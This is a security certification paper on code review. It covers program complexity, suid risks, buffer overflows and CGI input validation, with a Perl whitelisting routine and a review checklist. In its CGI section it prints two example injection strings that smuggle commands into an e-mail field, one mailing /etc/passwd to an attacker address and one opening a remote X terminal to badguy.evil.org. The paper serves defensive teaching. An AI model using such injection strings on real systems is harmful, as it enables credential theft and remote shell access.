Global Information Assurance Certification Paper

Security Code Review by Michael Reiter

The driving force behind most commercial software today, whatever its ultimate purpose, is time-to-market. Certainly everyone has had experience with software that does not do what it is supposed to do, or crashes mysteriously. When complaints are made to the manufacturer, the typical response is "We're fixing that in the next release". If functionality barely makes the list of priorities, where is security? In the rush to get the product out the door, code is rarely vetted for security. Similarly, in the open source world, code may be written by anyone from the tops in the field to the rankest amateur – and the end-user has no way of knowing how secure the code is. Self-written software is equally prone to security holes. Therefore, the assumption must be that all software may harbor a security hole.

For computers on a network, or attached to the public Internet, this opens the possibility of a remote break-in. To mitigate this risk, it is imperative that all code accessible over the network be reviewed for security. Of course, there are as many ways to abuse software as there are ways to write it. Therefore this report will focus on the most common methods, and their mitigation.

Complexity

The most common enemy of security, and thus one of the hardest to defeat, is complexity. The longer and more complex a program is, the greater the possibility that something in it will behave or interact in an unexpected manner. Probably the best example is the sendmail program. Long, complex, and not easy to configure, early versions of sendmail were plagued with problems. The infamous Morris Internet Worm made use of a flaw in sendmail. Therefore, the first thing to check for in a program is simplicity. All programs should achieve their goals as quickly and directly as possible, with a minimum of code.

SUID

Set-user-id (suid) programs are those which temporarily require rights and privileges greater than those of the user. An example is the UNIX passwd program, which requires root privileges, while its typical user is not root. If such a program can be abused in some way, it might give an attacker elevated rights. A program accessible over a network should not have suid privileges unless absolutely necessary.

Buffer Overflows

A buffer overflow occurs when a certain amount of memory is allotted in code for a particular function, and the returned data exceeds that allotment. In most cases, this will result in a program crash. Properly written, a buffer overflow exploit can overwrite the buffer to a specific memory address, alter the flow of program execution, and execute

code of the exploit author's choice – typically, spawning a shell. [1] Most modern, high level languages like Java are not subject to this problem, usually because they dynamically allocate memory as needed. However, the venerable C language is very prone to buffer overflows, and is commonly used throughout the world.

So, what can be done to prevent this? Utilities exist which will search for common problems. An example is Cigital's ITS4, which searches C/C++ code for potentially dangerous function calls.[2] Another method is to compile C code with a compiler technique that reduces the potential for buffer overflows, such as StackGuard. [3] However, before these methods are used, it is always prudent to manually review the code for the errors that lead to buffer overflows in the first place.

Any call made to the system or to a library must have its return value checked. Any errors found must be properly handled [4]. Many C calls, especially those with user input, are more prone than others to buffer overflows. These include exec, popen, strcpy, strcat, sprintf, gets, and several others. Alternatives to these calls exist in most cases. Where no other choice exists, routines must be written to perform bounds checking.

The problem boils down to one of trust. Why does the author (and, by implication, the program) trust that the end-user will supply an expected input to the program? If the author allowed for a 10 digit number, and the end-user supplies 11 digits, or letters, then if there is no way to handle the error in the program, it may crash or exhibit some other unexpected behavior. On the other hand, if the author wrote the code to return an error message in response to illegal input, there would be no problem. Therefore, in addition to reviewing the code for potential problems, the code must also be reviewed for robustness. Code should be able to handle the full range of possibilities in any situation gracefully.

Abuse of CGI code

CGI code – interactive programs written for the Worldwide Web – can be written in a wide variety of languages. While many are done in languages like C, many more are written in Perl or other interpreted languages. While it is certainly possible to find a CGI with a buffer overflow, it is more common to find a script that will unexpectedly process commands that are passed to it. Here's what happens, using Perl as an example.
The script is written, including a command that makes a call to the system. In doing so, it fails to check the HTML form input from the user. A classic example would be invoking a mail program and accepting as input an e-mail address. If the e-mail address unexpectedly contains a meta-character and a command, it might be executed, as in the example below:

```
badguy@evil.org < /etc/passwd
```

In this case, we might be faced with the CGI invoking the mail program, only to send the /etc/passwd file to a malicious user who would then crack the passwords. This example is less of a problem today, as the vast majority of systems now use shadow passwords, but

the principle remains the same. Let's extend the example with the following snippet:

```
badguy@evil.org < /etc/passwd; /usr/X11R6/bin/nxterm -display badguy.evil.org:0 [5]
```

Now, the attacker has a command prompt on your server. The moral of this story – never trust user input! Instead, include a routine that strips out meta-characters from HTML form input. Even safer, add a routine that explicitly allows only valid characters – in this case, upper and lower case letters, numbers, the @ sign, and a ".". This goes for all input, no matter what the source, no matter what the destination. A Perl routine using the CGI.pm library does just this:

```
$ok_chars = 'a-zA-Z0-9 ,-';
foreach $param_name (param()) {
        $_ = param($param_name);
        $_ = ~ s/[^$ok_chars]//go;
        param($param_name,$_);
}  [6]
```

This routine removes all characters except those in the variable $ok_chars from HTML form input. Look for a routine like this in all interactive code for use on the web. If it's not there, add it. Additionally, Perl offers "taint checks" which attempt to ensure that data input cannot accidentally be used to affect something outside the program. Taint checking is turned on in very first line of any Perl script:

```
#! /usr/bin/perl -T
```

Specifically, "taint checking prevents user-defined variables from being used in eval(), system(), exec(), or piped open() calls"; it also "prevents calling an external program without explicitly setting the PATH environment variable at the beginning of the script".[7] Again, look for code to run properly with this option turned on.

Summary

Buffer overflows and unexpected inputs are two of the most common ways to cause web or network-based software to fail in unforeseen ways and potentially open a hole into your network. They are not difficult to overcome, as seen above. Simple checking routines built into the software can ensure that large or unexpected data is handled gracefully and in ways that the author, not the attacker, controls.
The following, adapted from the WWW Security FAQ: CGI Scripts, summarizes the salient points of code review:

1. How complex is it?
2. Does it read or write files on the host system?
3. Does it interact with other programs on your system?
4. Does it run with suid privileges?
5. Does it validate user input?
6. Does the author use explicit path names when invoking external programs?[8]

[1] Aleph One. "Smashing The Stack For Fun And Profit". Phrack 49. URL: http://destroy.net/machines/security/P49-14-Aleph-One

[2] URL: http://www.cigital.com/its4/

[3] Crispan Cowan, Calton Pu, Dave Maier, Jonathan Walpole, Peat Bakke, Steve Beattie, Aaron Grier, Perry Wagle, and Qian Zhang, Heather Hinton. "StackGuard: Automatic Adaptive Detection and Prevention of Buffer-Overflow Attacks". December 1997. URL:

http://www.usenix.org/publications/library/proceedings/sec98/cowan.html

[4] Adam Shostack. "Source Code Review Guidelines". July 2000. URL: http://www.homeport.org/~adam/review.html

[5] Gary McGraw and John Viega. "Make your software behave: CGI programming made secure". March, 2000. URL: http://www-4.ibm.com/software/developer/library/secure-cgi

[6] "Advosys Web Tips: Writing Secure Web Applications". URL: http://advosys.ca/tips/web-security.html

[7] David Ray. Websmith, Issue 2. "CGI Security – It's not as scary as it sounds. URL: http://www.ssc.com/websmith/issues/ws20.html

[8] Lincoln Stein. World Wide Web Security FAQ. URL: http://www.w3.org/Security/Faq/wwwsf4.html